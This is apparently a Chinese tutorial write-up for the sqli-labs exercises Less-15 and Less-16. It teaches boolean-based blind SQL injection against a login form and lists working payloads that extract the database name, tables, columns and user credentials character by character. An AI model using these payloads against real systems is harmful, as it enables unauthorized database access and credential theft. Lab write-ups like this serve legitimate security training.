1. 题目分析
首先分析页面,发现网站此时完全规避了报错信息。连双注入都不会再由报错信息提示到页面上。因此,我们无法通过报错的信息来获取网站的数据库信息。这是我们只能换一种思路—盲注。
通过多次尝试,我们发现,网站有两种响应状态,分别是successfully
和failed
。
那么我们可以知道,当条件语句为true的时候,就会返回successfully
。而false的时候则返回failed
页面。我们可以根据这个页面的返回状态进行布尔盲注,来强行给出判断条件。
首先我们要判断字段的闭合方式:
' or 1=1#
' or 1=2#
由此我们可以得出,字段的闭合方式为'
单引号闭合。
2. 注入过程
那么剩下的步骤就和之前我们的get注入一样。
先判断当前使用数据库的长度。
' or length(database())=8#
然后利用burp suite
爆破这个名字。
burp suite
具体配置过程之前有讲过,这里不在多说。
由此我们就得出了当前数据库的名字。为security
接下来,就是要知道这个数据库下都有什么数据表:
首先判断有多少张表:
' or (select count(*) from information_schema.tables where table_schema=database())=4#
可以看到是4张表,然后爆破第一个表的名字。
首先判断长度:
' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6#
得到长度为6,然后判断这个表的名字:
' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1,1))=101#
同理,我们也能够得到剩下的3张表:referers
,uagents
,users
。
然后,我们就爆破users
中的字段:
首先,还是要知道字段的个数:
' or (select count(*) from information_schema.columns where table_schema="security" and table_name="users")=3#
有上面的语句可以知道,users
表中有三个字段。
那么我们要破解这三个字段的名字:
首先破解第一个:
第一步还是要先求长度:
' or length((select column_name from information_schema.columns where table_name="users" and table_schema="security" limit 0,1))=2#
由上面的语句的出,第一个字段的名字长度为2(id
)
然后我们用burp suite
求他的值:
' or ascii(substr((select column_name from information_schema.columns where table_name="users" and table_schema="security" limit 0,1),1,1))=1#
由此得出第一个字段为id
,那么同理,后面的两个字段我们也可以求出来分别是username
和password
那么剩下的就是爆破users
表中的用户信息了。操作和上面的基本一样,如果你掌握了上面的操作,那么最后一步就很容易:
' or (select count(*) from users)=13#
----看表中有多少用户
' or length((select username from users limit 0,1))=num#
—判断长度
' or ascii(substr((select username from users limit 0,1),1,1))=68#
----判断值
以此类推,最后能够得到users
表中所有的值。
3. less-16
16闭合方式为")
,解法与15相同,不再多说。